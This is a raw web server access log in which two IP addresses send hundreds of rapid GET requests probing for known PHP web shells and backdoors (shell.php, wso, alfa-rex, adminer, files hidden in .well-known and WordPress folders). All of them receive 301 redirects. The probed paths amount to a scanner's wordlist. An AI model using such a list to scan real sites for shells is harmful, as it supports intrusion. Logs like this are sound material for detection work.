138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:55 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:56 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:56 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:57 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:57 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:58 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:59 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:59 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:00 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:00 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:00 